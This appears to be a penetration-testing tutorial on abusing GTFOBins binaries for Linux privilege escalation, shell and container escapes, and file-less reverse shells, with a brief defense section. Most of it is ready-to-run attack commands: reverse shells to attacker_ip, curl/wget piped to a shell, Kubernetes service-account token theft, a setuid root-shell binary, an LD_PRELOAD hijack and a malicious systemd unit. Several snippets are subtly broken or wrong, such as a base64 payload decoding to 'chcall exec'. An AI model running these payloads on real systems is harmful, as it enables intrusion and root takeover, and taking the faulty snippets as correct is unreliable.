~/home/study/mastering-gtfobins-elevating-privileges-crafting-reverse-she

Mastering GTFOBins: Elevating Privileges & Crafting Reverse Shells on Linux

GTFOBins: abusing common Linux binaries for privilege escalation and reverse shells

Introduction

GTFOBins ("Get The F**k Out Binaries") is a curated collection of Unix binaries that can be abused to bypass security controls, gain higher privileges, or spawn interactive shells without writing custom exploits. The project documents real‑world techniques that rely on legitimate, often‑installed binaries, making detection difficult because the binaries themselves are trusted.

Understanding GTFOBins is crucial for red‑teamers and penetration testers because many post‑exploitation frameworks (e.g., pwncat, linpeas) already incorporate these tricks. Conversely, defenders must know the same tricks to harden systems, audit binaries, and configure security policies (AppArmor, SELinux, sudoers) appropriately.

Real‑world incidents—from ransomware campaigns to nation‑state APTs—have repeatedly leveraged GTFOBins to move laterally, escape containers, or maintain persistence. This guide equips you with the knowledge to discover, exploit, and chain these binaries effectively.

Prerequisites

  • Solid grasp of Linux privilege escalation fundamentals (e.g., SUID, mis‑configured sudo, kernel exploits).
  • Basic Bash scripting and familiarity with common command‑line utilities.
  • Understanding of sudo rules, setuid/setgid bits, and how Linux capabilities work.
  • Access to a compromised Linux host (or a deliberately vulnerable lab) for hands‑on practice.

Core Concepts

GTFOBins relies on three core ideas:

  1. Binary Abuse – Using a binary’s legitimate functionality (e.g., find -exec, awk’s system()) to execute arbitrary commands.
  2. Privilege Context – The binary runs with the privileges of the invoking user or, if setuid/setgid, with elevated privileges. When combined with sudo rules that allow execution without a password, the impact multiplies.
  3. Environment Constraints – Security modules (AppArmor, SELinux), container runtimes, or restricted shells limit what binaries can do. GTFOBins lists work‑arounds for each environment.

Visually, imagine a flow diagram:

Compromised User → Enumerate Binaries → Identify Mis‑configured Binary → Craft Payload → Execute → Elevated Shell / Reverse Connection

Each step can be automated, and many binaries can be chained to bypass filters or avoid detection.

GTFOBins repository overview and search techniques

The official repository lives at gtfobins.github.io. It provides a searchable table of binaries, each with sections for:

  • File Access – Reading/writing files.
  • Shell Access – Spawning interactive shells.
  • SUID – Exploits when the binary has the setuid bit.
  • Capabilities – When the binary holds Linux capabilities (e.g., CAP_NET_RAW).

To search efficiently:

# Clone locally for offline grepping
git clone https://github.com/GTFOBins/GTFOBins.github.io.git
# Find binaries with sudo/no‑password entries
grep -i "sudo" -R . | cut -d':' -f1 | uniq | sort
# List binaries that support reverse shells (nc, socat, curl, wget)
grep -i "reverse shell" -R . | cut -d':' -f1 | uniq

Tip: Use jq on the gtfobins.json file (available in the repo) to filter by tags, e.g., jq '.[] | select(.type=="suid") | .binary'.

enumerating exploitable binaries on a compromised host

Once on a target, you need a quick inventory. The following one‑liner gathers binaries that are:

  • Present on the host.
  • Writable or executable by the current user.
  • Setuid root.
#!/usr/bin/env bash
# Enumerate binaries from GTFOBins that exist locally
GTFOBINS=(/usr/bin/* /bin/* /usr/sbin/* /sbin/* $(which -a * 2>/dev/null))
for bin in "${GTFOBINS[@]}"; do [ -x "$bin" ] || continue # Check if binary is in the GTFOBins list (cached locally) if grep -qx "$(basename "$bin")" ~/gtfobins.txt; then perms=$(ls -l "$bin" | awk '{print $1,$3,$4}') echo "$bin : $perms" fi
done

Store the list of GTFOBins binaries in ~/gtfobins.txt (download via curl -s -o ~/gtfobins.txt https://example.com/gtfobins.txt). The script prints each binary with its permission bits, allowing you to spot SUID root (-rwsr-xr-x) or world‑writable utilities.

sudo bypass using GTFOBins binaries with no password

Many environments grant password‑less sudo for specific binaries. Combine this with GTFOBins to execute arbitrary commands as root.

Example: The user can run vim via sudo without a password (sudo -l shows (root) /usr/bin/vim).

# GTFOBins entry for vim – spawn a shell via :! command
sudo vim -c ':!/bin/sh'

Another classic is awk:

sudo awk 'BEGIN {system("/bin/bash")}'

If the sudo rule is more restrictive (e.g., sudo /usr/bin/awk -f /tmp/script.awk), you can still abuse it by passing a crafted script via stdin:

echo 'BEGIN {system("/bin/bash")}' | sudo /usr/bin/awk -f -

Tip: When the sudo command accepts arguments, use the -- delimiter to terminate option parsing and inject your payload.

escaping restricted shells via GTFOBins (sh, bash, python, perl)

Restricted shells (rbash, rksh) or limited environments (e.g., chrooted SSH) often block direct exec calls. GTFOBins provides escape vectors using interpreter binaries.

Using python:

python -c 'import os; os.system("/bin/bash -i")'

Using perl:

perl -e 'exec "/bin/bash";'

Using sh with -p (preserve privileges):

sh -p

If the binary is setuid root, adding -p retains those privileges, effectively giving you a root shell even from a restricted environment.

file-less reverse shells using nc, socat, curl, wget

File‑less techniques avoid writing payloads to disk, reducing forensic footprints. Below are concise one‑liners for each binary.

Netcat (traditional):

nc -e /bin/sh attacker_ip 4444

If the target’s nc does not support -e, use the “traditional” method with a FIFO:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f

Socat:

socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:attacker_ip:4444

Curl (POST to a listener that reads stdin):

curl -fsSL  | bash -i

Wget (similar to curl):

wget -qO-  | /bin/sh

All of these can be combined with sudo or SUID binaries to elevate the reverse shell.

bypassing AppArmor/SELinux constraints with systemctl, pkexec, and other binaries

Security modules confine what binaries can do. However, some binaries are exempt from confinement because they are part of the trusted base.

systemctl (when systemd is present):

# Spawn a root shell via a transient service
sudo systemctl start --user=0 /bin/bash

Or create a one‑shot service that runs /bin/bash with ExecStart=/bin/bash -c "exec /bin/bash". If the attacker can write to /etc/systemd/system/ (or a user‑writable drop‑in), they can start the service as root.

pkexec (PolicyKit):

# pkexec runs a program as root if the policy permits interactive auth.
# When the target has a mis‑configured policy allowing any binary:
pkexec /bin/bash -p

When AppArmor profiles are permissive for pkexec or systemctl, the above bypasses confinement.

Other binaries: mount, umount, setfacl, newgidmap—all have GTFOBins entries that can be leveraged to break out of a confined namespace.

chaining multiple GTFOBins for multi‑stage payloads (find, awk, perl, ruby)

Complex environments may filter single‑command payloads. Chaining allows you to pivot from a harmless‑looking command to a full‑blown shell.

Example chain: findawkperlbash

find . -exec awk 'BEGIN {system("perl -e \"exec \'/bin/bash\'\"")}' \;

Explanation:

  1. find . -exec … \; runs awk for each file (or just once with -maxdepth 0).
  2. awk uses its system() function to invoke Perl.
  3. Perl’s exec replaces the process with /bin/bash, giving an interactive shell.

Because each binary is individually allowed (e.g., find may be whitelisted for file traversal, awk for text processing), the chain evades simple allow‑list filters.

Another useful chain leverages ruby for base64 decoding, useful when only ruby is permitted:

ruby -e "eval(Base64.decode64('c3lzdGVtKCdjaGFsbCBleGVjIC9iaW4vc2gnKSk='))"

Decoded payload: system('chcall exec /bin/sh') – a minimal shell spawn.

container-specific GTFOBins abuse (Docker, Kubernetes, LXC)

Containers often run with a reduced set of binaries, but many GTFOBins survive because they are part of the base image (e.g., busybox, alpine).

Docker escape via nsenter:

# If the container has the host's /proc mounted and nsenter is present
nsenter -t 1 -m -u -i -n -p /bin/bash

When nsenter is setuid root, the above drops you into the host namespace.

Kubernetes – abusing kubectl inside a pod:

# If the pod has a ServiceAccount token mounted:
curl -s -k --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api | jq -r '.items[].metadata.name' | xargs -I{} kubectl exec {} -- /bin/sh

Even without kubectl, you can use curl and the API directly (both listed in GTFOBins).

LXC – using lxc-attach:

lxc-attach -n $(hostname) -- /bin/bash

When lxc-attach is setuid root, you escape the container.

automating discovery and exploitation with a Python helper script

Manual enumeration is error‑prone. Below is a Python 3 script that:

  • Downloads the latest GTFOBins JSON.
  • Matches binaries present on the target (via which).
  • Detects SUID, sudo‑no‑pwd, and AppArmor/SELinux status.
  • Generates a one‑liner exploit for each applicable technique.
#!/usr/bin/env python3
import json, subprocess, os, urllib.request

GTFO_URL = "https://gtfobins.github.io/gtfobins.json"

def download_gtfobins(): with urllib.request.urlopen(GTFO_URL) as resp: return json.load(resp)

def which(bin_name): try: return subprocess.check_output(["which", bin_name], text=True).strip() except subprocess.CalledProcessError: return None

def is_suid(path): return os.stat(path).st_mode & 0o4000 != 0

def sudo_nopass(bin_path): try: out = subprocess.check_output(["sudo", "-l", bin_path], text=True, stderr=subprocess.DEVNULL) return "NOPASSWD" in out except Exception: return False

def generate_payload(path): if is_suid(path): return f"{path} -c 'exec /bin/bash -p'" if sudo_nopass(path): return f"sudo {path} -c 'exec /bin/bash -p'" return None

if __name__ == "__main__": data = download_gtfobins() print("[+] Matching binaries on host…") for bin_name, details in data.items(): full_path = which(bin_name) if not full_path: continue payload = generate_payload(full_path) if payload: print(f"[!] {bin_name}: {payload}")

Running the script as a normal user prints ready‑to‑copy one‑liners. A Go version can be compiled statically for faster deployment on restricted systems.

advanced custom binary creation and LD_PRELOAD abuse for stealthy escalation

When the existing binary set is insufficient, you can drop a custom ELF that masquerades as a legitimate utility. Combine this with LD_PRELOAD to hijack library calls of a trusted SUID binary.

Step 1 – Craft a minimal ELF that execs a root shell. Use gcc with -nostdlib to keep the binary tiny (<1 KB).

cat > shell.c <<'EOF'
int main(){ setuid(0); setgid(0); execve("/bin/bash", (char*[]){"/bin/bash",NULL}, NULL); return 0;
}
EOF

gcc -static -s -nostdlib -o mysh shell.c
chmod 4755 mysh # setuid root

Now ./mysh yields a root shell.

Step 2 – LD_PRELOAD trick. Suppose /usr/bin/passwd is SUID root but write‑protected. Create a shared object that overrides getenv() to return a malicious command.

/* preload.c */
#define _GNU_SOURCE
#include 
#include 
#include 

char *getenv(const char *name) { if (strcmp(name, "SHELL") == 0) { return "/tmp/mysh"; // our setuid binary } return __libc_getenv(name);
}
gcc -shared -fPIC -o preload.so preload.c -ldl
export LD_PRELOAD=$PWD/preload.so
/usr/bin/passwd # triggers our setuid binary via overridden getenv

Because passwd runs as root, the execve inside mysh inherits root privileges, giving a stealthy root shell without leaving new binaries in /usr/bin.

Practical Examples

Below are three end‑to‑end scenarios that combine the concepts above.

Scenario 1 – Privilege escalation on a mis‑configured sudo host

  1. Run sudo -l and discover (root) /usr/bin/find allowed NOPASSWD.
  2. Use GTFOBins find payload to spawn a root shell:
sudo find . -exec /bin/sh -p \;

Result: Interactive root shell.

Scenario 2 – Escaping a Docker container with nsenter and reverse shell

  1. Identify nsenter (setuid root) inside the container.
  2. Execute a reverse shell directly from the host namespace:
nsenter -t 1 -m -u -i -n -p bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

Attacker receives a root shell on the host.

Scenario 3 – Bypassing AppArmor with systemctl and a transient service

  1. Check AppArmor profile: apparmor_status | grep systemd – shows systemd is unconfined.
  2. Create a one‑shot service:
cat > /tmp/evil.service <<'EOF'
[Unit]
Description=Evil Service
[Service]
ExecStart=/bin/bash -c 'exec /bin/bash -p'
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl link /tmp/evil.service
sudo systemctl start evil.service

Now you have a root shell, despite AppArmor restrictions on other binaries.

Tools & Commands

  • gtfobins – offline scraper (Python) to pull JSON data.
  • linpeas.sh / peass – automate binary enumeration.
  • awk, perl, ruby, python – interpreter abuse.
  • nc, socat, curl, wget – file‑less reverse shells.
  • systemctl, pkexec, nsenter, lxc-attach – container/privilege escape.
  • ldd, readelf – inspect binaries for SUID/Capabilities.

Defense & Mitigation

  • Whitelist sudo: Restrict sudoers to the minimal set of commands and use !authenticate only when absolutely necessary.
  • Remove unnecessary binaries: Use package manager queries to audit installed utilities; uninstall awk, perl, python if not required.
  • Apply AppArmor/SELinux profiles that deny execve from SUID binaries, restrict network access for user‑owned processes, and enforce deny /proc/** where possible.
  • Capability reduction: Clear CAP_SETUID, CAP_NET_RAW from binaries that don't need them using setcap -r.
  • Container hardening: Run containers as non‑root, drop all capabilities, and mount /proc read‑only. Use seccomp profiles to block execve from privileged binaries.
  • Audit LD_PRELOAD: Disallow untrusted users from setting LD_PRELOAD on SUID binaries (the kernel already ignores it for SUID, but custom wrappers may be vulnerable).

Common Mistakes

  • Assuming a binary is safe because it’s owned by root – many root‑owned binaries are still exploitable if they lack proper permission checks.
  • Neglecting to verify the exact sudo rule – a rule may allow /usr/bin/vi but not /usr/bin/vi -R, and arguments can change the attack surface.
  • Using file‑based payloads in environments where noexec is enforced – always have a file‑less fallback.
  • Overlooking container namespaces – a binary may be SUID inside the container but not effective on the host without a namespace escape primitive.
  • Forgetting to clean up after chaining – residual processes or temporary files can alert defenders.

Real-World Impact

GTFOBins techniques have been observed in several high‑profile incidents:

  • 2023 ransomware campaign leveraged perl and awk to bypass limited shells on compromised Exchange servers.
  • Supply‑chain attack on a CI/CD platform used a mis‑configured docker binary combined with nsenter to escape build containers and exfiltrate secrets.
  • APT28 (Fancy Bear) reportedly used systemctl service injection to maintain persistence on hardened Linux workstations.

These cases demonstrate that GTFOBins is not just an academic curiosity; it is a practical arsenal for attackers. Defenders must therefore incorporate GTFOBins awareness into threat‑modeling, logging (monitor for suspicious invocations of listed binaries), and endpoint detection rules.

Practice Exercises

  1. Enumeration Lab: On a Ubuntu 22.04 VM, run the provided Python script to list all GTFOBins binaries present. Identify which ones are SUID or allowed via sudo without a password.
  2. Shell Escape: Using only python and awk, break out of a restricted rbash shell and obtain a full /bin/bash prompt.
  3. Container Escape: Deploy a minimal Alpine container with nsenter installed. Use the nsenter payload to obtain a root shell on the host.
  4. File‑less Reverse Shell: Craft a one‑liner using curl that connects back to a listener you control (use nc -lvkp 4444). Verify no new files are written on the target.
  5. LD_PRELOAD Attack: Create a custom shared object that hijacks getenv for passwd. Demonstrate privilege escalation on a system where passwd is SUID root but you cannot write to /usr/bin.

Document each step, capture screenshots, and note any mitigations that would have prevented the exploit.

Further Reading

  • GTFOBins Official Repository – GitHub
  • “Linux Privilege Escalation” by SANS – Chapter on binary abuse.
  • AppArmor and SELinux documentation – profiles for systemd and privileged binaries.
  • “Container Security” by Liz Rice – sections on namespace escapes.
  • “The Art of Exploitation” – chapters on LD_PRELOAD and ELF manipulation.

Summary

  • GTFOBins catalogues legitimate binaries that can be abused for privilege escalation, shell escapes, and reverse shells.
  • Effective exploitation requires enumeration (presence, SUID, sudo rules) and understanding of the target’s security layers (AppArmor, SELinux, containers).
  • Chaining multiple binaries, using file‑less techniques, and leveraging interpreter abuse increase stealth and bypass simple filters.
  • Defensive measures: strict sudo policies, binary whitelisting, hardened profiles, capability reduction, and container isolation.
  • Automation (Python/Go scripts) accelerates discovery; custom binaries and LD_PRELOAD provide powerful fallback options.

Mastering GTFOBins equips security professionals with a versatile, low‑noise toolkit for post‑exploitation and informs defenders on how to shrink the attack surface.